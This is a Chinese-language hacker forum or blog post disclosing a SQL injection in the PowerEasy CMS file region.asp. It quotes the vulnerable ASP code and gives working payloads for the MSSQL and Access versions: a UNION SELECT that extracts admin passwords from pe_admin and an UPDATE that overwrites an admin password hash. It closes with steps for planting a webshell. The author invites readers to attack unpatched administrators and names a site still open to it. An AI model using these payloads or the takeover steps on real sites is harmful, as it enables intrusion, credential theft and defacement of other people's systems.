哇哈哈,昨天看到動易出補丁了,甚是鬱悶,俺拿到這個0day都還沒開始玩,就這樣被洗白鳥,鬱悶啊,早知道不玩動易主站,而且是get提交方式,當初如果聽cn的話,也許這個0day還會一直埋在地下,剛看了下動易的補丁,這次補的地方不至這乙個,哈哈,傳說的7個以上的bug,不知道還省幾個呢?下面是大概乙個月前寫的東西,發出來給大家搞一些懶惰的管理員,補丁都發2天了,還沒補的話,就是管理員的錯了哦,呵呵~~~38也還沒補哦,要上的就快上,哈哈~~~
個人blog:
[url]http://why_tt.mblogger.cn[/url] //個人
個人blog:
[url] //技術
影響版本:access和mssql
今天下午看了乙個下午的動網**,頭甚是疼,於是晚上回來,找找動易還有其他漏洞沒,結果一看,還真有一處,邏輯錯誤!
在region.asp中
country = replacebadchar(trim(request("country")))
province = replacebadchar(trim(request("province")))
city = replacebadchar(trim(request("city")))
對所有傳入的變數都進行了過濾,但是程式設計者在這裡:
set temprs = conn.execute("select province from pe_province where country='" & country & "' order by provinceid")
if err or temprs.eof then
redim showprovince(0, 0)
province = trim(request.querystring("province"))
else
showprovince = temprs.getrows(-1)
end if
set temprs = conn.execute("select distinct city from pe_city where province='" & province & "'")
大家可以看到,province = trim(request.querystring("province")) 這裡直接取的是傳入的province,而不是過濾後的,所以這個province變數危險了,那麼在下面他是直接帶入了查詢,由於province變數是我們可以隨意構造的,所以我們就可以構造我們的sql語句。
但是要進入這個查詢的前提是:err=true 或者 temprs.eof,而要達到這2個中的乙個,就是要讓conn.execute("select province from pe_province where country='" & country & "' order by provinceid")這條語句在表中查詢不到所要找的country,這樣就好構造了。下面是利用**:
[url]'+and+user>0--
就是在[url]'後面加上我們的sql注入語句。
這就是整個利用原理,很簡單,但也很致命的漏洞。
上面是mssql版本的利用,而如果要是access版本中的利用,那麼怎麼辦呢,呵呵,聰明的你可能覺得我在說廢話老,看吧。
[url]' and 1=1 and '1'='1
這樣的話,我們的and 1=1就是在access版本中的利用。呵呵。這樣就完成這個漏洞在2個版本的利用。
[url]'+and+1=2+union+select+password+from+pe_admin+where+1<2+and+'1'='1
其中username是要暴的字段,哈哈,通殺的感覺爽吧 by
whytt
補充:update pe_admin set password='13955235245b2497' where id=2--
如果不可以列目錄就插管理員,但我喜歡直接update管理員密碼,拿完shell後改回來,或去加乙個
如果可以列目錄就直接找web目錄,然後用nb的getwebshell就可以拿到webshell了